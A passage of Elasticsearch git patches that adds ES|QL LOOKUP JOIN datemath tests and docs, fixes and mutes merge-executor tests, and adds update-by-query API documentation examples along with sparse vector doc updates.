-                    "unsigned_long",
-                    "version" },
-                description = "Input value. The input can be a single- or multi-valued column or an expression."
-            ) Expression v
-        ) {}
-    }
-}

From d748cc3f3b8f5cc7867c56c5191677f8866d11d0 Mon Sep 17 00:00:00 2001
From: Luigi Dell'Aquila <luigi.dellaquila@gmail.com>
Date: Thu, 3 Jul 2025 14:14:32 +0200
Subject: [PATCH 061/299] ES|QL: add tests and fix docs for LOOKUP JOIN with
 index datemath (#130535) (#130542)

---
 .../query-languages/esql/esql-lookup-join.md  |   3 +-
 .../xpack/esql/qa/single_node/RestEsqlIT.java | 114 ++++++++++++++++++
 2 files changed, 116 insertions(+), 1 deletion(-)

diff --git a/docs/reference/query-languages/esql/esql-lookup-join.md b/docs/reference/query-languages/esql/esql-lookup-join.md
index 0b6764834e1d6..826de488e5897 100644
--- a/docs/reference/query-languages/esql/esql-lookup-join.md
+++ b/docs/reference/query-languages/esql/esql-lookup-join.md
@@ -200,6 +200,7 @@ The following are the current limitations with `LOOKUP JOIN`:
 * Indices in [`lookup` mode](/reference/elasticsearch/index-settings/index-modules.md#index-mode-setting) are always single-sharded.
 * Cross cluster search is unsupported initially. Both source and lookup indices must be local.
 * Currently, only matching on equality is supported.
-* `LOOKUP JOIN` can only use a single match field and a single index. Wildcards, aliases, datemath, and datastreams are not supported.
+* `LOOKUP JOIN` can only use a single match field and a single index. Wildcards are not supported.
+  * Aliases, datemath, and datastreams are supported, as long as the index pattern matches a single concrete index {applies_to}`stack: ga 9.1.0`.
 * The name of the match field in `LOOKUP JOIN lu_idx ON match_field` must match an existing field in the query. This may require `RENAME`s or `EVAL`s to achieve.
 * The query will circuit break if there are too many matching documents in the lookup index, or if the documents are too large. More precisely, `LOOKUP JOIN` works in batches of, normally, about 10,000 rows; a large amount of heap space is needed if the matching documents from the lookup index for a batch are multiple megabytes or larger. This is roughly the same as for `ENRICH`.
diff --git a/x-pack/plugin/esql/qa/server/single-node/src/javaRestTest/java/org/elasticsearch/xpack/esql/qa/single_node/RestEsqlIT.java b/x-pack/plugin/esql/qa/server/single-node/src/javaRestTest/java/org/elasticsearch/xpack/esql/qa/single_node/RestEsqlIT.java
index 1ef49652c3afc..6dca5cf4efaf5 100644
--- a/x-pack/plugin/esql/qa/server/single-node/src/javaRestTest/java/org/elasticsearch/xpack/esql/qa/single_node/RestEsqlIT.java
+++ b/x-pack/plugin/esql/qa/server/single-node/src/javaRestTest/java/org/elasticsearch/xpack/esql/qa/single_node/RestEsqlIT.java
@@ -40,6 +40,9 @@
 import java.io.IOException;
 import java.io.InputStream;
 import java.nio.charset.StandardCharsets;
+import java.time.ZoneOffset;
+import java.time.ZonedDateTime;
+import java.time.format.DateTimeFormatter;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Comparator;
@@ -786,6 +789,117 @@ && isMillisOrNanos(listOfTypes.get(j))) {
         }
     }
 
+    public void testDateMathIndexPattern() throws IOException {
+        ZonedDateTime now = ZonedDateTime.now(ZoneOffset.UTC);
+
+        String[] indices = {
+            "test-index-" + DateTimeFormatter.ofPattern("yyyy", Locale.ROOT).format(now),
+            "test-index-" + DateTimeFormatter.ofPattern("yyyy", Locale.ROOT).format(now.minusYears(1)),
+            "test-index-" + DateTimeFormatter.ofPattern("yyyy", Locale.ROOT).format(now.minusYears(2)) };
+
+        int idx = 0;
+        for (String index : indices) {
+            createIndex(index);
+            for (int i = 0; i < 10; i++) {
+                Request request = new Request("POST", "/" + index + "/_doc/");
+                request.addParameter("refresh", "true");
+                request.setJsonEntity("{\"f\":" + idx++ + "}");
+                assertOK(client().performRequest(request));
+            }
+        }
+
+        String query = """
+            {
+                "query": "from <test-index-{now/d{yyyy}}> | sort f asc | limit 1 | keep f"
+            }
+            """;
+        Request request = new Request("POST", "/_query");
+        request.setJsonEntity(query);
+        Response resp = client().performRequest(request);
+        Map<String, Object> results = entityAsMap(resp);
+        List<?> values = (List<?>) results.get("values");
+        assertThat(values.size(), is(1));
+        List<?> row = (List<?>) values.get(0);
+        assertThat(row.get(0), is(0));
+
+        query = """
+            {
+                "query": "from <test-index-{now/d-1y{yyyy}}> | sort f asc | limit 1 | keep f"
+            }
+            """;
+        request = new Request("POST", "/_query");
+        request.setJsonEntity(query);
+        resp = client().performRequest(request);
+        results = entityAsMap(resp);
+        values = (List<?>) results.get("values");
+        assertThat(values.size(), is(1));
+        row = (List<?>) values.get(0);
+        assertThat(row.get(0), is(10));
+
+        for (String index : indices) {
+            assertThat(deleteIndex(index).isAcknowledged(), is(true)); // clean up
+        }
+    }
+
+    public void testDateMathInJoin() throws IOException {
+        ZonedDateTime now = ZonedDateTime.now(ZoneOffset.UTC);
+
+        createIndex("idx", Settings.EMPTY, """
+            {
+                "properties": {
+                    "key": {
+                        "type": "keyword"
+                    }
+                }
+            }
+            """);
+
+        Request request = new Request("POST", "/idx/_doc/");
+        request.addParameter("refresh", "true");
+        request.setJsonEntity("{\"key\":\"foo\"}");
+        assertOK(client().performRequest(request));
+
+        String[] lookupIndices = {
+            "lookup-index-" + DateTimeFormatter.ofPattern("yyyy", Locale.ROOT).format(now),
+            "lookup-index-" + DateTimeFormatter.ofPattern("yyyy", Locale.ROOT).format(now.minusYears(1)) };
+
+        for (String index : lookupIndices) {
+            createIndex(index, Settings.builder().put("mode", "lookup").build(), """
+                {
+                    "properties": {
+                        "key": {
+                            "type": "keyword"
+                        }
+                    }
+                }
+                """);
+            request = new Request("POST", "/" + index + "/_doc/");
+            request.addParameter("refresh", "true");
+            request.setJsonEntity("{\"key\":\"foo\", \"value\": \"" + index + "\"}");
+            assertOK(client().performRequest(request));
+        }
+
+        String[] queries = {
+            "from idx | lookup join <lookup-index-{now/d{yyyy}}> on key | limit 1",
+            "from idx | lookup join <lookup-index-{now/d-1y{yyyy}}> on key | limit 1" };
+        for (int i = 0; i < queries.length; i++) {
+            String queryPayload = "{\"query\": \"" + queries[i] + "\"}";
+            request = new Request("POST", "/_query");
+            request.setJsonEntity(queryPayload);
+            Response resp = client().performRequest(request);
+            Map<String, Object> results = entityAsMap(resp);
+            List<?> values = (List<?>) results.get("values");
+            assertThat(values.size(), is(1));
+            List<?> row = (List<?>) values.get(0);
+            assertThat(row.get(1), is(lookupIndices[i]));
+        }
+
+        assertThat(deleteIndex("idx").isAcknowledged(), is(true)); // clean up
+        for (String index : lookupIndices) {
+            assertThat(deleteIndex(index).isAcknowledged(), is(true)); // clean up
+        }
+    }
+
     static MapMatcher commonProfile() {
         return matchesMap() //
             .entry("description", any(String.class))

From c8962fd2a6b53d392d4c1428e12d5cd2dfcc54fc Mon Sep 17 00:00:00 2001
From: elasticsearchmachine
 <58790826+elasticsearchmachine@users.noreply.github.com>
Date: Thu, 3 Jul 2025 23:22:34 +1000
Subject: [PATCH 062/299] Mute
 org.elasticsearch.index.engine.ThreadPoolMergeExecutorServiceDiskSpaceTests
 testUnavailableBudgetBlocksNewMergeTasksFromStartingExecution #130205

---
 muted-tests.yml | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/muted-tests.yml b/muted-tests.yml
index 069fd22933231..6677f64de71c9 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -551,6 +551,9 @@ tests:
 - class: org.elasticsearch.xpack.esql.action.EnrichIT
   method: testTopN
   issue: https://github.com/elastic/elasticsearch/issues/130122
+- class: org.elasticsearch.index.engine.ThreadPoolMergeExecutorServiceDiskSpaceTests
+  method: testUnavailableBudgetBlocksNewMergeTasksFromStartingExecution
+  issue: https://github.com/elastic/elasticsearch/issues/130205
 
 # Examples:
 #

From 9097d744d447f98825bcb26b8db807a403216986 Mon Sep 17 00:00:00 2001
From: Charlotte Hoblik <116336412+charlotte-hoblik@users.noreply.github.com>
Date: Thu, 3 Jul 2025 16:47:30 +0200
Subject: [PATCH 063/299] [DOCS]: Add update by query api examples (#130273)
 (#130557)

* Add update by query api examples

* Update docs/reference/elasticsearch/rest-apis/update-by-query-api.md



* add TOC

---------

Co-authored-by: Liam Thompson <leemthompo@gmail.com>
---
 .../rest-apis/update-by-query-api.md          | 425 ++++++++++++++++++
 docs/reference/elasticsearch/toc.yml          |   1 +
 2 files changed, 426 insertions(+)
 create mode 100644 docs/reference/elasticsearch/rest-apis/update-by-query-api.md

diff --git a/docs/reference/elasticsearch/rest-apis/update-by-query-api.md b/docs/reference/elasticsearch/rest-apis/update-by-query-api.md
new file mode 100644
index 0000000000000..00bc1bc8b0221
--- /dev/null
+++ b/docs/reference/elasticsearch/rest-apis/update-by-query-api.md
@@ -0,0 +1,425 @@
+---
+navigation_title: "Update By Query API"
+mapped_pages:
+  - https://www.elastic.co/guide/en/elasticsearch/reference/8.18/docs-update.html#update-api-example
+applies_to:
+  stack: all
+---
+
+# Update by query API examples
+
+This page provides examples of how to use the [Update by query API](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-update-by-query).
+
+You can learn how to:
+
+- [Run basic update-by-query operations](#run-basic-updates)
+- [Modify documents using scripts or ingest pipelines](#update-the-document)
+- [Throttle update operations](#change-throttling-for-a-request)
+- [Parallelize updates using manual slicing](#slice-manually)
+- [Automate slicing for better performance](#use-automatic-slicing)
+- [Apply mapping changes to existing documents](#pick-up-a-new-property)
+
+## Run basic updates
+
+The simplest usage of `_update_by_query` just performs an update on every document in the data stream or index without changing the source. This is useful to [pick up a new property](#pick-up-a-new-property) or some other online mapping change. 
+
+To update selected documents, specify a query in the request body:
+
+```console
+POST my-index-000001/_update_by_query?conflicts=proceed
+{
+  "query": { <1>
+    "term": {
+      "user.id": "kimchy"
+    }
+  }
+}
+```
+% TEST[setup:my_index]
+
+1. The query must be passed as a value to the `query` key, in the same way as the [Search API](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search). You can also use the `q` parameter in the same way as the search API.
+
+### Target multiple indices
+
+Update documents in multiple data streams or indices:
+
+```console
+POST my-index-000001,my-index-000002/_update_by_query
+```
+% TEST[s/^/PUT my-index-000001\nPUT my-index-000002\n/]
+
+### Filter by routing
+
+Limit the update by query operation to shards that a particular routing value:
+
+```console
+POST my-index-000001/_update_by_query?routing=1
+```
+% TEST[setup:my_index]
+
+### Change batch size
+
+By default update by query uses scroll batches of 1000. You can change the batch size with the `scroll_size` parameter:
+
+```console
+POST my-index-000001/_update_by_query?scroll_size=100
+```
+% TEST[setup:my_index]
+
+## Update the document
+
+Update a document using a unique attribute:
+
+```console
+POST my-index-000001/_update_by_query
+{
+  "query": {
+    "term": {
+      "user.id": "kimchy"
+    }
+  },
+  "max_docs": 1
+}
+```
+% TEST[setup:my_index]
+
+### Update the document source
+
+Update by query supports scripts to update the document source. For example, the following request increments the `count` field for all documents with a `user.id` of `kimchy` in `my-index-000001`:
+
+<!--
+```console
+PUT my-index-000001/_create/1
+{
+  "user": {
+    "id": "kimchy"
+  },
+  "count": 1
+}
+```
+-->
+
+```console
+POST my-index-000001/_update_by_query
+{
+  "script": {
+    "source": "ctx._source.count++",
+    "lang": "painless"
+  },
+  "query": {
+    "term": {
+      "user.id": "kimchy"
+    }
+  }
+}
+```
+% TEST[continued]
+
+Note that `conflicts=proceed` is not specified in this example. In this case, a version conflict should halt the process so you can handle the failure.
+
+As with the [Update API](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-update), you can set `ctx.op` to change the operation that is performed:
+
+`noop`
+:   Set `ctx.op = "noop"` if your script decides that it doesn't have to make any changes.
+The update by query operation skips updating the document and increments the  `noop` counter.
+
+`delete`
+:   Set `ctx.op = "delete"` if your script decides that the document should be deleted.
+The update by query operation deletes the document and increments the  `deleted` counter.
+
+Update by query only supports `index`, `noop`, and `delete`. Setting `ctx.op` to anything else is an error. Setting any other field in `ctx` is an error.
+This API only enables you to modify the source of matching documents, you cannot move them.
+
+### Update documents using an ingest pipeline
+
+Update by query can use the [ingest pipelines](docs-content://manage-data/ingest/transform-enrich/ingest-pipelines.md) feature by specifying a `pipeline`:
+
+```console
+PUT _ingest/pipeline/set-foo
+{
+  "description" : "sets foo",
+  "processors" : [ {
+      "set" : {
+        "field": "foo",
+        "value": "bar"
+      }
+  } ]
+}
+POST my-index-000001/_update_by_query?pipeline=set-foo
+```
+% TEST[setup:my_index]
+
+### Get the status of update by query operations
+
+You can fetch the status of all running update by query requests with the [Task API](https://www.elastic.co/docs/api/doc/elasticsearch/group/endpoint-tasks):
+
+```console
+GET _tasks?detailed=true&actions=*byquery
+```
+% TEST[skip:No tasks to retrieve]
+
+The responses looks like:
+
+```console-result
+{
+  "nodes" : {
+    "r1A2WoRbTwKZ516z6NEs5A" : {
+      "name" : "r1A2WoR",
+      "transport_address" : "127.0.0.1:9300",
+      "host" : "127.0.0.1",
+      "ip" : "127.0.0.1:9300",
+      "attributes" : {
+        "testattr" : "test",
+        "portsfile" : "true"
+      },
+      "tasks" : {
+        "r1A2WoRbTwKZ516z6NEs5A:36619" : {
+          "node" : "r1A2WoRbTwKZ516z6NEs5A",
+          "id" : 36619,
+          "type" : "transport",
+          "action" : "indices:data/write/update/byquery",
+          "status" : {    <1>
+            "total" : 6154,
+            "updated" : 3500,
+            "created" : 0,
+            "deleted" : 0,
+            "batches" : 4,
+            "version_conflicts" : 0,
+            "noops" : 0,
+            "retries": {
+              "bulk": 0,
+              "search": 0
+            },
+            "throttled_millis": 0
+          },
+          "description" : ""
+        }
+      }
+    }
+  }
+}
+```
+
+1. This object contains the actual status. It is just like the response JSON with the important addition of the `total` field. `total` is the total number of operations that the reindex expects to perform. You can estimate the progress by adding the `updated`, `created`, and `deleted` fields. The request will finish when their sum is equal to the `total` field.
+
+With the task id you can look up the task directly. The following example retrieves information about task `r1A2WoRbTwKZ516z6NEs5A:36619`:
+
+```console
+GET /_tasks/r1A2WoRbTwKZ516z6NEs5A:36619
+```
+% TEST[catch:missing]
+
+The advantage of this API is that it integrates with `wait_for_completion=false` to transparently return the status of completed tasks. If the task is completed and `wait_for_completion=false` was set on it, then it'll come back with a `results` or an `error` field. The cost of this feature is the document that `wait_for_completion=false` creates at `.tasks/task/${taskId}`. It is up to you to delete that document.
+
+### Cancel an update by query operation
+
+Any update by query can be cancelled using the [Cancel API](https://www.elastic.co/docs/api/doc/elasticsearch/group/endpoint-tasks):
+
+```console
+POST _tasks/r1A2WoRbTwKZ516z6NEs5A:36619/_cancel
+```
+
+The task ID can be found using the [Task API](https://www.elastic.co/docs/api/doc/elasticsearch/group/endpoint-tasks).
+
+Cancellation should happen quickly but might take a few seconds. The task status API above will continue to list the update by query task until this task checks that it has been cancelled and terminates itself.
+
+## Change throttling for a request
+
+The value of `requests_per_second` can be changed on a running update by query using the `_rethrottle` API:
+
+```console
+POST _update_by_query/r1A2WoRbTwKZ516z6NEs5A:36619/_rethrottle?requests_per_second=-1
+```
+
+The task ID can be found using the [Task API](https://www.elastic.co/docs/api/doc/elasticsearch/group/endpoint-tasks).
+
+Just like when setting it on the `_update_by_query` API, `requests_per_second` can be either `-1` to disable throttling or any decimal number like `1.7` or `12` to throttle to that level. Rethrottling that speeds up the query takes effect immediately, but rethrotting that slows down the query will take effect after completing the current batch. This prevents scroll timeouts.
+
+## Slice manually
+
+Slice an update by query manually by providing a slice id and total number of slices to each request:
+
+```console
+POST my-index-000001/_update_by_query
+{
+  "slice": {
+    "id": 0,
+    "max": 2
+  },
+  "script": {
+    "source": "ctx._source['extra'] = 'test'"
+  }
+}
+POST my-index-000001/_update_by_query
+{
+  "slice": {
+    "id": 1,
+    "max": 2
+  },
+  "script": {
+    "source": "ctx._source['extra'] = 'test'"
+  }
+}
+```
+% TEST[setup:my_index_big]
+
+Which you can verify works with:
+
+```console
+GET _refresh
+POST my-index-000001/_search?size=0&q=extra:test&filter_path=hits.total
+```
+% TEST[continued]
+
+Which results in a sensible `total` like this one:
+
+```console-result
+{
+  "hits": {
+    "total": {
+        "value": 120,
+        "relation": "eq"
+    }
+  }
+}
+```
+
+## Use automatic slicing
+
+You can also let update by query automatically parallelize using [slice-scroll](paginate-search-results.md#slice-scroll) to slice on `_id`. Use `slices` to specify the number of slices to use:
+
+```console
+POST my-index-000001/_update_by_query?refresh&slices=5
+{
+  "script": {
+    "source": "ctx._source['extra'] = 'test'"
+  }
+}
+```
+% TEST[setup:my_index_big]
+
+Which you also can verify works with:
+
+```console
+POST my-index-000001/_search?size=0&q=extra:test&filter_path=hits.total
+```
+% TEST[continued]
+
+Which results in a sensible `total` like this one:
+
+```console-result
+{
+  "hits": {
+    "total": {
+        "value": 120,
+        "relation": "eq"
+    }
+  }
+}
+```
+
+Setting `slices` to `auto` will let Elasticsearch choose the number of slices to use. This setting will use one slice per shard, up to a certain limit. If there are multiple source data streams or indices, it will choose the number of slices based on the index or backing index with the smallest number of shards.
+
+Adding `slices` to `_update_by_query` just automates the manual process used in the section above, creating sub-requests which means it has some quirks:
+
+- You can see these requests in the [Tasks APIs](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-update-by-query). These sub-requests are "child" tasks of the task for the request with `slices`.
+- Fetching the status of the task for the request with `slices` only contains the status of completed slices.
+- These sub-requests are individually addressable for things like cancellation and rethrottling.
+- Rethrottling the request with `slices` will rethrottle the unfinished sub-request proportionally.
+- Canceling the request with `slices` will cancel each sub-request.
+- Due to the nature of `slices` each sub-request won't get a perfectly even portion of the documents. All documents will be addressed, but some slices may be larger than others. Expect larger slices to have a more even distribution.
+- Parameters like `requests_per_second` and `max_docs` on a request with `slices` are distributed proportionally to each sub-request. Combine that with the point above about distribution being uneven and you should conclude that using `max_docs` with `slices` might not result in exactly `max_docs` documents being updated.
+- Each sub-request gets a slightly different snapshot of the source data stream or index though these are all taken at approximately the same time.
+
+## Pick up a new property
+
+Say you created an index without dynamic mapping, filled it with data, and then added a mapping value to pick up more fields from the data:
+
+```console
+PUT test
+{
+  "mappings": {
+    "dynamic": false,   <1>
+    "properties": {
+      "text": {"type": "text"}
+    }
+  }
+}
+
+POST test/_doc?refresh
+{
+  "text": "words words",
+  "flag": "bar"
+}
+POST test/_doc?refresh
+{
+  "text": "words words",
+  "flag": "foo"
+}
+PUT test/_mapping   <2>
+{
+  "properties": {
+    "text": {"type": "text"},
+    "flag": {"type": "text", "analyzer": "keyword"}
+  }
+}
+```
+
+1. This means that new fields won't be indexed, just stored in `_source`.
+
+2. This updates the mapping to add the new `flag` field. To pick up the new field you have to reindex all documents with it.
+
+Searching for the data won't find anything:
+
+```console
+POST test/_search?filter_path=hits.total
+{
+  "query": {
+    "match": {
+      "flag": "foo"
+    }
+  }
+}
+```
+% TEST[continued]
+
+```console-result
+{
+  "hits" : {
+    "total": {
+        "value": 0,
+        "relation": "eq"
+    }
+  }
+}
+```
+
+But you can issue an `_update_by_query` request to pick up the new mapping:
+
+```console
+POST test/_update_by_query?refresh&conflicts=proceed
+POST test/_search?filter_path=hits.total
+{
+  "query": {
+    "match": {
+      "flag": "foo"
+    }
+  }
+}
+```
+% TEST[continued]
+
+```console-result
+{
+  "hits" : {
+    "total": {
+        "value": 1,
+        "relation": "eq"
+    }
+  }
+}
+```
+
+You can do the exact same thing when adding a field to a multifield.
+
+
diff --git a/docs/reference/elasticsearch/toc.yml b/docs/reference/elasticsearch/toc.yml
index 16bffed9e0699..7a221963ac87b 100644
--- a/docs/reference/elasticsearch/toc.yml
+++ b/docs/reference/elasticsearch/toc.yml
@@ -105,6 +105,7 @@ toc:
             - file: rest-apis/searching-with-query-rules.md
             - file: rest-apis/shard-request-cache.md
             - file: rest-apis/term-vectors-examples.md
+            - file: rest-apis/update-by-query-api.md
             - file: rest-apis/update-cc-api-key-examples.md
             - file: rest-apis/vector-tile-search.md
   - file: mapping-reference/index.md

From 602d7ef79de0ea179a039354717f5a039a5a98fa Mon Sep 17 00:00:00 2001
From: Albert Zaharovits <email+github@zalbert.me>
Date: Thu, 3 Jul 2025 18:56:17 +0300
Subject: [PATCH 064/299] Fix ThreadPoolMergeExecutorServiceTests
 testIORateIsAdjustedForAllRunningMergeTasks (#130545) (#130560)

The test submits merge tasks that support IO throttling, and asserts
that all the currently running merge tasks are indeed IO throttled after
the new one was submitted.

The test erroneously tried to assert a property on the set of currently
running merge tasks, which is very difficult to do since all merge tasks
are possibly backlogged and re-enqueued asynchronously multiple times
before they are run or aborted (so looking at the threadpool merge task
queue there's no telling which merge task will execute first).

Fixes https://github.com/elastic/elasticsearch/issues/129531
---
 muted-tests.yml                                    |  3 ---
 .../ThreadPoolMergeExecutorServiceTests.java       | 14 +-------------
 2 files changed, 1 insertion(+), 16 deletions(-)

diff --git a/muted-tests.yml b/muted-tests.yml
index 6677f64de71c9..5253644557be7 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -491,9 +491,6 @@ tests:
 - class: org.elasticsearch.xpack.esql.qa.multi_node.EsqlSpecIT
   method: test {knn-function.KnnSearchWithKOption SYNC}
   issue: https://github.com/elastic/elasticsearch/issues/129512
-- class: org.elasticsearch.index.engine.ThreadPoolMergeExecutorServiceTests
-  method: testIORateIsAdjustedForAllRunningMergeTasks
-  issue: https://github.com/elastic/elasticsearch/issues/129531
 - class: org.elasticsearch.upgrades.IndexingIT
   method: testIndexing
   issue: https://github.com/elastic/elasticsearch/issues/129533
diff --git a/server/src/test/java/org/elasticsearch/index/engine/ThreadPoolMergeExecutorServiceTests.java b/server/src/test/java/org/elasticsearch/index/engine/ThreadPoolMergeExecutorServiceTests.java
index cec52af12cade..2f3494ebb065d 100644
--- a/server/src/test/java/org/elasticsearch/index/engine/ThreadPoolMergeExecutorServiceTests.java
+++ b/server/src/test/java/org/elasticsearch/index/engine/ThreadPoolMergeExecutorServiceTests.java
@@ -51,7 +51,6 @@
 import static org.hamcrest.Matchers.equalTo;
 import static org.hamcrest.Matchers.greaterThan;
 import static org.hamcrest.Matchers.greaterThanOrEqualTo;
-import static org.hamcrest.Matchers.hasItem;
 import static org.hamcrest.Matchers.is;
 import static org.hamcrest.Matchers.lessThan;
 import static org.hamcrest.Matchers.lessThanOrEqualTo;
@@ -329,7 +328,6 @@ public void testIORateIsAdjustedForAllRunningMergeTasks() throws Exception {
             ThreadPoolExecutor threadPoolExecutor = (ThreadPoolExecutor) testThreadPool.executor(ThreadPool.Names.MERGE);
             Semaphore runMergeSemaphore = new Semaphore(0);
             Set<MergeTask> currentlyRunningMergeTasksSet = ConcurrentCollections.newConcurrentSet();
-            Set<MergeTask> currentlyRunningOrAbortingMergeTasksSet = ConcurrentCollections.newConcurrentSet();
             while (mergesStillToComplete > 0) {
                 if (mergesStillToSubmit > 0 && (currentlyRunningMergeTasksSet.isEmpty() || randomBoolean())) {
                     MergeTask mergeTask = mock(MergeTask.class);
@@ -347,27 +345,17 @@ public void testIORateIsAdjustedForAllRunningMergeTasks() throws Exception {
                     }).when(mergeTask).schedule();
                     doAnswer(mock -> {
                         currentlyRunningMergeTasksSet.add(mergeTask);
-                        currentlyRunningOrAbortingMergeTasksSet.add(mergeTask);
                         // wait to be signalled before completing
                         runMergeSemaphore.acquire();
-                        currentlyRunningOrAbortingMergeTasksSet.remove(mergeTask);
                         currentlyRunningMergeTasksSet.remove(mergeTask);
                         return null;
                     }).when(mergeTask).run();
                     doAnswer(mock -> {
-                        currentlyRunningOrAbortingMergeTasksSet.add(mergeTask);
                         // wait to be signalled before completing
                         runMergeSemaphore.acquire();
-                        currentlyRunningOrAbortingMergeTasksSet.remove(mergeTask);
                         return null;
                     }).when(mergeTask).abort();
-                    assertThat(runMergeSemaphore.availablePermits(), is(0));
-                    boolean isAnyExecutorAvailable = currentlyRunningOrAbortingMergeTasksSet.size() < mergeExecutorThreadCount;
-                    boolean mergeTaskSubmitted = threadPoolMergeExecutorService.submitMergeTask(mergeTask);
-                    assertTrue(mergeTaskSubmitted);
-                    if (isAnyExecutorAvailable) {
-                        assertBusy(() -> assertThat(currentlyRunningOrAbortingMergeTasksSet, hasItem(mergeTask)));
-                    }
+                    assertTrue(threadPoolMergeExecutorService.submitMergeTask(mergeTask));
                     long latestIORate = threadPoolMergeExecutorService.getTargetIORateBytesPerSec();
                     // all currently running merge tasks must be IO throttled to the latest IO Rate
                     assertBusy(() -> {

From 253889efc87f3a037d241c6a100b093a05a5ed9b Mon Sep 17 00:00:00 2001
From: "Mark J. Hoy" <mark.hoy@elastic.co>
Date: Thu, 3 Jul 2025 12:17:43 -0400
Subject: [PATCH 065/299] [DOCS] Update applies_to tags in Docs for Sparse
 Vector Mapping / Index Options (#130548) (#130570)

* remove preview labels docs / sparse vector type

* re-add applies to, set to ga
---
 .../elasticsearch/mapping-reference/sparse-vector.md | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/docs/reference/elasticsearch/mapping-reference/sparse-vector.md b/docs/reference/elasticsearch/mapping-reference/sparse-vector.md
index 98d2edc097575..79d5f4bbe53c7 100644
--- a/docs/reference/elasticsearch/mapping-reference/sparse-vector.md
+++ b/docs/reference/elasticsearch/mapping-reference/sparse-vector.md
@@ -26,7 +26,7 @@ PUT my-index
 
 ## Token pruning
 ```{applies_to}
-stack: preview 9.1
+stack: ga 9.1
 ```
 
 With any new indices created, token pruning will be turned on by default with appropriate defaults. You can control this behaviour using the optional `index_options` parameters for the field:
@@ -63,23 +63,23 @@ The following parameters are accepted by `sparse_vector` fields:
     * Exclude the field from [_source](/reference/elasticsearch/rest-apis/retrieve-selected-fields.md#source-filtering).
     * Use [synthetic `_source`](/reference/elasticsearch/mapping-reference/mapping-source-field.md#synthetic-source).
 
-index_options {applies_to}`stack: preview 9.1`
+index_options {applies_to}`stack: ga 9.1`
 :   (Optional, object) You can set index options for your  `sparse_vector` field to determine if you should prune tokens, and the parameter configurations for the token pruning. If pruning options are not set in your [`sparse_vector` query](/reference/query-languages/query-dsl/query-dsl-sparse-vector-query.md), Elasticsearch will use the default options configured for the field, if any.
 
 Parameters for `index_options` are:
 
-`prune` {applies_to}`stack: preview 9.1`
+`prune` {applies_to}`stack: ga 9.1`
 :   (Optional, boolean) Whether to perform pruning, omitting the non-significant tokens from the query to improve query performance. If `prune` is true but the `pruning_config` is not specified, pruning will occur but default values will be used. Default: true.
 
-`pruning_config` {applies_to}`stack: preview 9.1`
+`pruning_config` {applies_to}`stack: ga 9.1`
 :   (Optional, object) Optional pruning configuration. If enabled, this will omit non-significant tokens from the query in order to improve query performance. This is only used if `prune` is set to `true`. If `prune` is set to `true` but `pruning_config` is not specified, default values will be used. If `prune` is set to false but `pruning_config` is specified, an exception will occur.
 
     Parameters for `pruning_config` include:
 
-    `tokens_freq_ratio_threshold` {applies_to}`stack: preview 9.1`
+    `tokens_freq_ratio_threshold` {applies_to}`stack: ga 9.1`
     :   (Optional, integer) Tokens whose frequency is more than `tokens_freq_ratio_threshold` times the average frequency of all tokens in the specified field are considered outliers and pruned. This value must between 1 and 100. Default: `5`.
 
-    `tokens_weight_threshold` {applies_to}`stack: preview 9.1`
+    `tokens_weight_threshold` {applies_to}`stack: ga 9.1`
     :   (Optional, float) Tokens whose weight is less than `tokens_weight_threshold` are considered insignificant and pruned. This value must be between 0 and 1. Default: `0.4`.
 
     ::::{note}

From a1af0bcdefc1571cdba0843402f7cbbf450c2cef Mon Sep 17 00:00:00 2001
From: Mike Pellegrini <mike.pellegrini@elastic.co>
Date: Thu, 3 Jul 2025 18:09:30 -0400
Subject: [PATCH 066/299] [9.1] Semantic Text Index Options Integration Tests
 (#130453) (#130581)

* Semantic Text Index Options Integration Tests (#130453)

* Remove default BBQ index options test
---
 .../SemanticTextIndexOptionsIT.java           | 277 ++++++++++++++++++
 .../mapper/SemanticTextFieldMapper.java       |   2 +-
 2 files changed, 278 insertions(+), 1 deletion(-)
 create mode 100644 x-pack/plugin/inference/src/internalClusterTest/java/org/elasticsearch/xpack/inference/integration/SemanticTextIndexOptionsIT.java

diff --git a/x-pack/plugin/inference/src/internalClusterTest/java/org/elasticsearch/xpack/inference/integration/SemanticTextIndexOptionsIT.java b/x-pack/plugin/inference/src/internalClusterTest/java/org/elasticsearch/xpack/inference/integration/SemanticTextIndexOptionsIT.java
new file mode 100644
index 0000000000000..fbb5e25079f62
--- /dev/null
+++ b/x-pack/plugin/inference/src/internalClusterTest/java/org/elasticsearch/xpack/inference/integration/SemanticTextIndexOptionsIT.java
@@ -0,0 +1,277 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the Elastic License
+ * 2.0; you may not use this file except in compliance with the Elastic License
+ * 2.0.
+ */
+
+package org.elasticsearch.xpack.inference.integration;
+
+import org.elasticsearch.action.admin.indices.mapping.get.GetFieldMappingsAction;
+import org.elasticsearch.action.admin.indices.mapping.get.GetFieldMappingsRequest;
+import org.elasticsearch.action.support.IndicesOptions;
+import org.elasticsearch.common.bytes.BytesReference;
+import org.elasticsearch.common.settings.Settings;
+import org.elasticsearch.common.xcontent.XContentHelper;
+import org.elasticsearch.core.Nullable;
+import org.elasticsearch.core.TimeValue;
+import org.elasticsearch.index.mapper.vectors.DenseVectorFieldMapper;
+import org.elasticsearch.index.mapper.vectors.IndexOptions;
+import org.elasticsearch.inference.TaskType;
+import org.elasticsearch.license.GetLicenseAction;
+import org.elasticsearch.license.License;
+import org.elasticsearch.license.LicenseSettings;
+import org.elasticsearch.license.PostStartBasicAction;
+import org.elasticsearch.license.PostStartBasicRequest;
+import org.elasticsearch.license.PutLicenseAction;
+import org.elasticsearch.license.PutLicenseRequest;
+import org.elasticsearch.license.TestUtils;
+import org.elasticsearch.plugins.Plugin;
+import org.elasticsearch.protocol.xpack.license.GetLicenseRequest;
+import org.elasticsearch.reindex.ReindexPlugin;
+import org.elasticsearch.test.ESIntegTestCase;
+import org.elasticsearch.test.InternalTestCluster;
+import org.elasticsearch.xcontent.ToXContent;
+import org.elasticsearch.xcontent.XContentBuilder;
